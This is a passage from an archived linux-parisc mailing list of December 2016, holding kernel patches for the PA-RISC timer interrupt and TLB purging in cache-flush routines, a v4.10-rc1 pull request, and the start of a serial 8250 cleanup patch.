 F8wyT7gpCG5XYwx9AIOSzvR4eUwc8cSgRU/uHntJ7PuAOWQ3rvHL6TlHrvweilZKNJO0PsdUq
 dN15bA/TFiF8uMffgUikeZQfMsGkhDbhIICBCmWufUoWWZ7wi8Zfff3J5SrV0SWjf0E6XfxnR
 r2l1iQR11oMcc7QI5ERW05EqhvL/y2QvtHK8XR9iTgQiX7L644ir6jHfW+Y5pJyBN2DMds1AT
 +/haKhuPL2KREeoacclfBNBRlUF1/FXk+WC31pkCa7x+sHGnTqC+s6b6XlM=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27115
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27115>

Restructure the timer interrupt function to better cope with missed timer irqs.
Optimize the calculation when the next interrupt should happen and skip irqs if
they would happen too shortly after exit of the irq function.

The update_process_times() call is done anyway at every timer irq, so we can
safely drop the prof_counter and prof_multiplier variables from the per_cpu
structure. 

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index 2e674e1..e439630 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -93,9 +93,7 @@ struct system_cpuinfo_parisc {
 /* Per CPU data structure - ie varies per CPU.  */
 struct cpuinfo_parisc {
 	unsigned long it_value;     /* Interval Timer at last timer Intr */
-	unsigned long it_delta;     /* Interval delta (tic_10ms / HZ * 100) */
 	unsigned long irq_count;    /* number of IRQ's since boot */
-	unsigned long irq_max_cr16; /* longest time to handle a single IRQ */
 	unsigned long cpuid;        /* aka slot_number or set to NO_PROC_ID */
 	unsigned long hpa;          /* Host Physical address */
 	unsigned long txn_addr;     /* MMIO addr of EIR or id_eid */
@@ -103,8 +101,6 @@ struct cpuinfo_parisc {
 	unsigned long pending_ipi;  /* bitmap of type ipi_message_type */
 #endif
 	unsigned long bh_count;     /* number of times bh was invoked */
-	unsigned long prof_counter; /* per CPU profiling support */
-	unsigned long prof_multiplier;	/* per CPU profiling support */
 	unsigned long fp_rev;
 	unsigned long fp_model;
 	unsigned int state;
diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
index c1c08b5..85de47f 100644
--- a/arch/parisc/kernel/processor.c
+++ b/arch/parisc/kernel/processor.c
@@ -78,11 +78,6 @@ DEFINE_PER_CPU(struct cpuinfo_parisc, cpu_data);
 static void
 init_percpu_prof(unsigned long cpunum)
 {
-	struct cpuinfo_parisc *p;
-
-	p = &per_cpu(cpu_data, cpunum);
-	p->prof_counter = 1;
-	p->prof_multiplier = 1;
 }
 
 
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 325f30d..66cbab4 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -59,10 +59,9 @@ static unsigned long clocktick __read_mostly;	/* timer cycles per tick */
  */
 irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
 {
-	unsigned long now, now2;
+	unsigned long now;
 	unsigned long next_tick;
-	unsigned long cycles_elapsed, ticks_elapsed = 1;
-	unsigned long cycles_remainder;
+	unsigned long ticks_elapsed = 0;
 	unsigned int cpu = smp_processor_id();
 	struct cpuinfo_parisc *cpuinfo = &per_cpu(cpu_data, cpu);
 
@@ -71,102 +70,49 @@ irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
 
 	profile_tick(CPU_PROFILING);
 
-	/* Initialize next_tick to the expected tick time. */
+	/* Initialize next_tick to the old expected tick time. */
 	next_tick = cpuinfo->it_value;
 
-	/* Get current cycle counter (Control Register 16). */
-	now = mfctl(16);
-
-	cycles_elapsed = now - next_tick;
-
-	if ((cycles_elapsed >> 6) < cpt) {
-		/* use "cheap" math (add/subtract) instead
-		 * of the more expensive div/mul method
-		 */
-		cycles_remainder = cycles_elapsed;
-		while (cycles_remainder > cpt) {
-			cycles_remainder -= cpt;
-			ticks_elapsed++;
-		}
-	} else {
-		/* TODO: Reduce this to one fdiv op */
-		cycles_remainder = cycles_elapsed % cpt;
-		ticks_elapsed += cycles_elapsed / cpt;
-	}
-
-	/* convert from "division remainder" to "remainder of clock tick" */
-	cycles_remainder = cpt - cycles_remainder;
-
-	/* Determine when (in CR16 cycles) next IT interrupt will fire.
-	 * We want IT to fire modulo clocktick even if we miss/skip some.
-	 * But those interrupts don't in fact get delivered that regularly.
-	 */
-	next_tick = now + cycles_remainder;
+	/* Calculate how many ticks have elapsed. */
+	do {
+		++ticks_elapsed;
+		next_tick += cpt;
+		now = mfctl(16);
+	} while (next_tick - now > cpt);
 
+	/* Store (in CR16 cycles) up to when we are accounting right now. */
 	cpuinfo->it_value = next_tick;
 
-	/* Program the IT when to deliver the next interrupt.
-	 * Only bottom 32-bits of next_tick are writable in CR16!
-	 */
-	mtctl(next_tick, 16);
+	/* Go do system house keeping. */
+	if (cpu == 0)
+		xtime_update(ticks_elapsed);
+
+	update_process_times(user_mode(get_irq_regs()));
 
-	/* Skip one clocktick on purpose if we missed next_tick.
+	/* Skip clockticks on purpose if we know we would miss those.
 	 * The new CR16 must be "later" than current CR16 otherwise
 	 * itimer would not fire until CR16 wrapped - e.g 4 seconds
 	 * later on a 1Ghz processor. We'll account for the missed
-	 * tick on the next timer interrupt.
+	 * ticks on the next timer interrupt.
+	 * We want IT to fire modulo clocktick even if we miss/skip some.
+	 * But those interrupts don't in fact get delivered that regularly.
 	 *
 	 * "next_tick - now" will always give the difference regardless
 	 * if one or the other wrapped. If "now" is "bigger" we'll end up
 	 * with a very large unsigned number.
 	 */
-	now2 = mfctl(16);
-	if (next_tick - now2 > cpt)
-		mtctl(next_tick+cpt, 16);
+	while (next_tick - mfctl(16) > cpt)
+		next_tick += cpt;
 
-#if 1
-/*
- * GGG: DEBUG code for how many cycles programming CR16 used.
- */
-	if (unlikely(now2 - now > 0x3000)) 	/* 12K cycles */
-		printk (KERN_CRIT "timer_interrupt(CPU %d): SLOW! 0x%lx cycles!"
-			" cyc %lX rem %lX "
-			" next/now %lX/%lX\n",
-			cpu, now2 - now, cycles_elapsed, cycles_remainder,
-			next_tick, now );
-#endif
-
-	/* Can we differentiate between "early CR16" (aka Scenario 1) and
-	 * "long delay" (aka Scenario 3)? I don't think so.
-	 *
-	 * Timer_interrupt will be delivered at least a few hundred cycles
-	 * after the IT fires. But it's arbitrary how much time passes
-	 * before we call it "late". I've picked one second.
-	 *
-	 * It's important NO printk's are between reading CR16 and
-	 * setting up the next value. May introduce huge variance.
-	 */
-	if (unlikely(ticks_elapsed > HZ)) {
-		/* Scenario 3: very long delay?  bad in any case */
-		printk (KERN_CRIT "timer_interrupt(CPU %d): delayed!"
-			" cycles %lX rem %lX "
-			" next/now %lX/%lX\n",
-			cpu,
-			cycles_elapsed, cycles_remainder,
-			next_tick, now );
-	}
-
-	/* Done mucking with unreliable delivery of interrupts.
-	 * Go do system house keeping.
+	/* Program the IT when to deliver the next interrupt.
+	 * Only bottom 32-bits of next_tick are writable in CR16!
+	 * Timer interrupt will be delivered at least a few hundred cycles
+	 * after the IT fires, so if we are too close (<= 500 cycles) to the
+	 * next cycle, simply skip it.
 	 */
-
-	if (!--cpuinfo->prof_counter) {
-		cpuinfo->prof_counter = cpuinfo->prof_multiplier;
-		update_process_times(user_mode(get_irq_regs()));
-	}

From - Thu Nov 08 21:39:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Purge TLB entry used for tmp alias operations on PA 2.0
Date: Tue, 20 Dec 2016 19:53:19 -0500
Lines: 200
Approved: news@gmane.org
Message-ID: <A7E1D4D6-2836-40C7-975F-BBF6EFE33214@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-26--684257517
X-Trace: blaine.gmane.org 1482281606 13816 195.159.176.226 (21 Dec 2016 00:53:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 21 Dec 2016 00:53:26 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: "linux-parisc@vger.kernel.org List" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 21 01:53:22 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cJV9h-0005fb-Jd
	for glpp-linux-parisc@m.gmane.org; Wed, 21 Dec 2016 01:53:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S934258AbcLUAxW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 20 Dec 2016 19:53:22 -0500
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:35253 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S934123AbcLUAxV (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 20 Dec 2016 19:53:21 -0500
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20161221005320.ZRMU478.torfep02.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Tue, 20 Dec 2016 19:53:20 -0500
Original-Received: from [192.168.2.10] (really [184.144.120.170])
          by torspm02.bell.net with ESMTP
          id <20161221005320.CMTC3859.torspm02.bell.net@[192.168.2.10]>;
          Tue, 20 Dec 2016 19:53:20 -0500
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020203.5859D280.006E,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27116
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27116>


--Apple-Mail-26--684257517
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

It became apparent with more buildd testing that the previous patch =
removing the TLB purge
after a tmp alias operation (e.g., cache flush) was incorrect on PA 2.0 =
systems that don't support
inequivalent aliases.  This patch restores the needed purge on PA 2.0 =
systems.  Essentially,
the purge is only needed on systems with PA8800 and PA8900 processors.

It uses registers %r24 and %r25 to save the address of the tmp alias =
pages used for the 'to'
and 'from' operations.

We don't check whether inequivalent aliases are supported or not as the =
purge is local and can
be done efficiently on all PA 2.0 processors.

The patch has been tested for six days on rp3440 and no random =
segmentation faults have been
observed.

Signed-off-by: John David Anglin  <dave.anglin@bell.net>



--Apple-Mail-26--684257517
Content-Disposition: attachment;
	filename=pacache.S.d3.txt
Content-Type: text/plain;
	name="pacache.S.d3.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index adf7187f8951..289c57c16f3d 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -626,6 +626,8 @@ ENTRY_CFI(copy_user_page_asm)
 	/* Purge any old translations */
 
 #ifdef CONFIG_PA20
+	copy		%r28, %r24
+	copy		%r29, %r25
 	pdtlb,l		%r0(%r28)
 	pdtlb,l		%r0(%r29)
 #else
@@ -743,6 +745,11 @@ ENTRY_CFI(copy_user_page_asm)
 	ldo		64(%r29), %r29
 #endif
 
+#ifdef CONFIG_PA20
+	pdtlb,l		%r0(%r24)
+	pdtlb,l		%r0(%r25)
+#endif
+
 	bv		%r0(%r2)
 	nop
 	.exit
@@ -774,6 +781,7 @@ ENTRY_CFI(clear_user_page_asm)
 	/* Purge any old translation */
 
 #ifdef CONFIG_PA20
+	copy		%r28, %r24
 	pdtlb,l		%r0(%r28)
 #else
 	tlb_lock	%r20,%r21,%r22
@@ -829,6 +837,10 @@ ENTRY_CFI(clear_user_page_asm)
 	ldo		64(%r28), %r28
 #endif	/* CONFIG_64BIT */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		%r0(%r24)
+#endif
+
 	bv		%r0(%r2)
 	nop
 	.exit
@@ -855,16 +867,6 @@ ENTRY_CFI(flush_dcache_page_asm)
 	depwi		0, 31,PAGE_SHIFT, %r28	/* Clear any offset bits */
 #endif
 
-	/* Purge any old translation */
-
-#ifdef CONFIG_PA20
-	pdtlb,l		%r0(%r28)
-#else
-	tlb_lock	%r20,%r21,%r22
-	pdtlb		%r0(%r28)
-	tlb_unlock	%r20,%r21,%r22
-#endif
-
 	ldil		L%dcache_stride, %r1
 	ldw		R%dcache_stride(%r1), r31
 
@@ -876,6 +878,16 @@ ENTRY_CFI(flush_dcache_page_asm)
 	add		%r28, %r25, %r25
 	sub		%r25, r31, %r25
 
+	/* Purge any old translation */
+
+#ifdef CONFIG_PA20
+	copy		%r28, %r24
+	pdtlb,l		%r0(%r28)
+#else
+	tlb_lock	%r20,%r21,%r22
+	pdtlb		%r0(%r28)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
 1:      fdc,m		r31(%r28)
 	fdc,m		r31(%r28)
@@ -896,6 +908,11 @@ ENTRY_CFI(flush_dcache_page_asm)
 	fdc,m		r31(%r28)
 
 	sync
+
+#ifdef CONFIG_PA20
+	pdtlb,l		%r0(%r24)
+#endif
+
 	bv		%r0(%r2)
 	nop
 	.exit
@@ -922,21 +939,6 @@ ENTRY_CFI(flush_icache_page_asm)
 	depwi		0, 31,PAGE_SHIFT, %r28	/* Clear any offset bits */
 #endif
 
-	/* Purge any old translation.  Note that the FIC instruction
-	 * may use either the instruction or data TLB.  Given that we
-	 * have a flat address space, it's not clear which TLB will be
-	 * used.  So, we purge both entries.  */
-
-#ifdef CONFIG_PA20
-	pdtlb,l		%r0(%r28)
-	pitlb,l         %r0(%sr4,%r28)
-#else
-	tlb_lock        %r20,%r21,%r22
-	pdtlb		%r0(%r28)
-	pitlb           %r0(%sr4,%r28)
-	tlb_unlock      %r20,%r21,%r22
-#endif
-
 	ldil		L%icache_stride, %r1
 	ldw		R%icache_stride(%r1), %r31
 
@@ -948,6 +950,20 @@ ENTRY_CFI(flush_icache_page_asm)
 	add		%r28, %r25, %r25
 	sub		%r25, %r31, %r25
 
+	/* Purge any old translation.  Note that the FIC instruction
+	 * may use either the instruction or data TLB.  Given that we
+	 * have a flat address space, it's not clear which TLB will be
+	 * used.  So, we purge both entries.  */
+
+#ifdef CONFIG_PA20
+	copy            %r28, %r24
+	pdtlb,l		%r0(%r28)
+	pitlb,l		%r0(%sr4,%r28)
+#else
+	tlb_lock	%r20,%r21,%r22
+	pdtlb		%r0(%r28)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
 	/* fic only has the type 26 form on PA1.1, requiring an
 	 * explicit space specification, so use %sr4 */
@@ -970,6 +986,12 @@ ENTRY_CFI(flush_icache_page_asm)
 	fic,m		%r31(%sr4,%r28)
 
 	sync
+
+#ifdef CONFIG_PA20
+	pdtlb,l		%r0(%r24)
+	pitlb,l		%r0(%sr4,%r24)
+#endif
+
 	bv		%r0(%r2)
 	nop
 	.exit

--Apple-Mail-26--684257517
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=us-ascii



--
John David Anglin	dave.anglin@bell.net

--Apple-Mail-26--684257517--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc architecture updates for v4.10-rc1
Date: Wed, 21 Dec 2016 16:48:28 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <20161221154828.GA26282@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1482335325 7819 195.159.176.226 (21 Dec 2016 15:48:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 21 Dec 2016 15:48:45 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 21 16:48:40 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cJj8B-0001Dt-3D
	for glpp-linux-parisc@m.gmane.org; Wed, 21 Dec 2016 16:48:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754288AbcLUPsn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 21 Dec 2016 10:48:43 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:51522 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752116AbcLUPsm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 21 Dec 2016 10:48:42 -0500
Original-Received: from p100.box ([92.203.63.88]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0M2ckv-1ccd3l0bwb-00sOxT; Wed, 21
 Dec 2016 16:48:32 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:Rs3cEiluDmfo5Mn97OsoyNU6vPJ94oMP5aLamszveOD1SgDy9z4
 KGJEiApDcnu/jTcR/5Ige6V0grXHOhuqxtURj7wqdU+Pof+zWF0qOjOrP6dY9OhYchzb1cR
 B0XEV997CXxDSqvTLlhesUKp5LMmAZnBTzuONiYAjliVMqjc87vpjBJAqwhPCM17lY1hDeM
 mKq4tRUyfsXpm1J0ZqZag==
X-UI-Out-Filterresults: notjunk:1;V01:K0:gI3dZcZopX0=:2xY7oJgIwn5H1ymJj906Fn
 uqfrHn8liocU0wRekrXH92U8ooc8wmMKF63HlyrLPpTd/PY6kigpfL3DgmjRCIB/eiS27GKNr
 gmXayPgf55zDZq5eTFyfVCmApsJKemR6q3ZMoNIKxMzS8OYwySn9OIRqTVKeiquSlRGaSvLg4
 ATHYCCAIRbGn2KjqciP/d/9ZsoJoQN3I0ljj06KeHQapCZf5Egv4uxuBLg1V2pPCelpsy63je
 48ExCDB1KVZyqzKCbqMfgLcRgSl0E5ucGSqduR7CB0QYY/NN+eC+sovn0YG0PoQQ2oQGTT5mb
 7/GBEf/BgAhp4D4iIqD93tOipIc11ME2YiS8k3oWL5MBeHsnChJgiFqZWifqEF/R7ifPaAogo
 HL/zrptpdDt8eV8RLCAOO+EPB437M+NvQqoYVYUhNO5YOTiDi2xKEQk1NNrpHve7iNKiUTYke
 NI27CMqKhGDwPFyFyTbiRhj/R/nGqK/BYDwIsvS89MQKDgVU4GhvId1kIPZSTAxa/KnB38vNh
 WSDBveOQnuKSrDYstppB7FBrEEZi4qUZQ4xk8FRBOIc/iWqfZpu88CdX/kkAtxe77JOQI8I3h
 jcfqnIPcV5RGCtddKRyaZE7Cdk9Zh7ksaWa+uenPYfEKJ/TwDEGIaWn1B4xItviitVjJeJT0w
 WmMb9O8iWpbHTBXa71Hk33v4oGAhafYyxyXetAfGuxEw9eX3D8jacBCWh9ZWHjwpiolASnsAn
 wCZb+hVd3jnTFNxoI26rUJ/wyYj+A/jhj2HdLIUugOm2i31X6mtaeMCIyTU=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27117 gmane.linux.kernel:2374324
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27117>

Hi Linus,

please pull the changes for this merge window for the parisc architecture from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.10-1

Changes include:
 
- Add Kernel address space layout randomization support
- Re-enable interrupts earlier now that we have a working IRQ stack
- Optimize the timer interrupt function to better cope with missed timer irqs
- Fix error return code in parisc perf code (by Dan Carpenter)
- Fix PAT debug code

Thanks,
Helge

----------------------------------------------------------------
Dan Carpenter (1):
      parisc: perf: return -EFAULT on error

Helge Deller (4):
      parisc: Enable KASLR
      parisc: Re-enable interrupts early
      parisc: Enhance CPU detection code on PAT machines
      parisc: Optimize timer interrupt function

 arch/parisc/Kconfig                 |   1 +
 arch/parisc/include/asm/elf.h       |   7 ++-
 arch/parisc/include/asm/pdcpat.h    |   2 +-
 arch/parisc/include/asm/processor.h |   4 --
 arch/parisc/kernel/entry.S          |  12 +---
 arch/parisc/kernel/firmware.c       |   2 +-
 arch/parisc/kernel/inventory.c      |   8 +--
 arch/parisc/kernel/perf.c           |   5 +-
 arch/parisc/kernel/process.c        |   6 +-
 arch/parisc/kernel/processor.c      |  29 +++++-----
 arch/parisc/kernel/sys_parisc.c     |  18 +++---
 arch/parisc/kernel/time.c           | 112 ++++++++++--------------------------
 12 files changed, 67 insertions(+), 139 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Masahiro Yamada <yamada.masahiro@socionext.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.serial,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] serial: 8250: use initializer instead of memset to clear
 local struct
Date: Fri, 23 Dec 2016 12:21:48 +0900
Lines: 362
Approved: news@gmane.org
Message-ID: <1482463308-28968-1-git-send-email-yamada.masahiro@socionext.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1482463407 25769 195.159.176.226 (23 Dec 2016 03:23:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 23 Dec 2016 03:23:27 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>, Helge Deller <deller@gmx.de>,
 linux-kernel@vger.kernel.org, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Masahiro Yamada <yamada.masahiro@socionext.com>, Jiri Slaby <jslaby@suse.com>,
 Joachim Eastwood <manabian@gmail.com>, linux-arm-kernel@lists.infradead.org
To: linux-serial@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Fri Dec 23 04:23:14 2016
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.9])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1cKGRr-00054r-NT
	for linux-arm-kernel@m.gmane.org; Fri, 23 Dec 2016 04:23:12 +0100
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.85_2 #1 (Red Hat Linux))
	id 1cKGRb-0001X3-Sm; Fri, 23 Dec 2016 03:22:55 +0000
Original-Received: from conuserg-11.nifty.com ([210.131.2.78])
 by bombadil.infradead.org with esmtps (Exim 4.85_2 #1 (Red Hat Linux))
 id 1cKGRX-0001R4-57
 for linux-arm-kernel@lists.infradead.org; Fri, 23 Dec 2016 03:22:52 +0000
Original-Received: from grover.sesame (FL1-111-169-71-157.osk.mesh.ad.jp
 [111.169.71.157]) (authenticated)
 by conuserg-11.nifty.com with ESMTP id uBN3M0VM021353;
 Fri, 23 Dec 2016 12:22:03 +0900
DKIM-Filter: OpenDKIM Filter v2.10.3 conuserg-11.nifty.com uBN3M0VM021353
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=nifty.com;
 s=dec2015msa; t=1482463324;
 bh=MyzJnMWyVOdIeylDhIKkO7FsTV2WX+8+JtoKE81a3uU=;
 h=From:To:Cc:Subject:Date:From;
 b=swBjElu5rtwtswbT9UMaJ6KlkpSla+TTKOJTbjuelKK7xl6rfcQcyGsv8JQm1+DPI
 lM6Rk9Gx4qwcE+GVUlDJ/v3mecRUSxD8TZaPpPfMr4pSa8FcakHXy4X0h23dIH2SJY
 IFmedDE61QkTEd7ZPx/4Ro4iwpF53346WnavAHVP0d0oLDh4yaYqhTiY0vO587kOzD
 H07t+t546qq/fE0GrXh54QnXTTQihIDOuK8ZBptjWH2Obkk+3l8tpHX2hhIKOauups
 XXG7tx7jE5ycc0xIFUt9RKYD74/DnEr3ndAZryBKbTTJkmMm6bSe1AA4Nvbw+SvPb4
 7rf+jyfhDbPog==
X-Nifty-SrcIP: [111.169.71.157]
X-Mailer: git-send-email 2.7.4
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20161222_192251_452985_5A2B2A31 
X-CRM114-Status: GOOD (  13.63  )
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.20
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:546263 gmane.linux.serial:24624 gmane.linux.ports.parisc:27118 gmane.linux.kernel:2375269
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/546263>

Leave the way of zero-out to the compiler's decision; the compiler
may know a more optimized way than calling memset().

It may end up with memset() for big structures like this after all,
but the code will be cleaner at least.

Signed-off-by: Masahiro Yamada <yamada.masahiro@socionext.com>
---

 drivers/tty/serial/8250/8250_acorn.c    |  3 +--
 drivers/tty/serial/8250/8250_core.c     |  4 +---
 drivers/tty/serial/8250/8250_em.c       |  3 +--
 drivers/tty/serial/8250/8250_gsc.c      |  3 +--
 drivers/tty/serial/8250/8250_hp300.c    | 11 +++--------
 drivers/tty/serial/8250/8250_lpc18xx.c  |  4 +---
 drivers/tty/serial/8250/8250_lpss.c     |  4 +---
 drivers/tty/serial/8250/8250_mid.c      |  4 +---
 drivers/tty/serial/8250/8250_moxa.c     |  4 +---
 drivers/tty/serial/8250/8250_of.c       |  4 ++--
 drivers/tty/serial/8250/8250_omap.c     |  3 +--
 drivers/tty/serial/8250/8250_pci.c      |  3 +--
 drivers/tty/serial/8250/8250_pnp.c      |  3 +--
 drivers/tty/serial/8250/8250_uniphier.c |  4 +---
 drivers/tty/serial/8250/serial_cs.c     |  3 +--
 15 files changed, 18 insertions(+), 42 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_acorn.c b/drivers/tty/serial/8250/8250_acorn.c
index 402dfdd..f49acafc 100644
--- a/drivers/tty/serial/8250/8250_acorn.c
+++ b/drivers/tty/serial/8250/8250_acorn.c
@@ -43,7 +43,7 @@ serial_card_probe(struct expansion_card *ec, const struct ecard_id *id)
 {
 	struct serial_card_info *info;
 	struct serial_card_type *type = id->data;
-	struct uart_8250_port uart;
+	struct uart_8250_port uart = {};
 	unsigned long bus_addr;
 	unsigned int i;
 
@@ -62,7 +62,6 @@ serial_card_probe(struct expansion_card *ec, const struct ecard_id *id)
 
 	ecard_set_drvdata(ec, info);
 
-	memset(&uart, 0, sizeof(struct uart_8250_port));
 	uart.port.irq	= ec->irq;
 	uart.port.flags	= UPF_BOOT_AUTOCONF | UPF_SHARE_IRQ;
 	uart.port.uartclk	= type->uartclk;
diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8250/8250_core.c
index 61569a7..27c18c9 100644
--- a/drivers/tty/serial/8250/8250_core.c
+++ b/drivers/tty/serial/8250/8250_core.c
@@ -804,11 +804,9 @@ EXPORT_SYMBOL(serial8250_resume_port);
 static int serial8250_probe(struct platform_device *dev)
 {
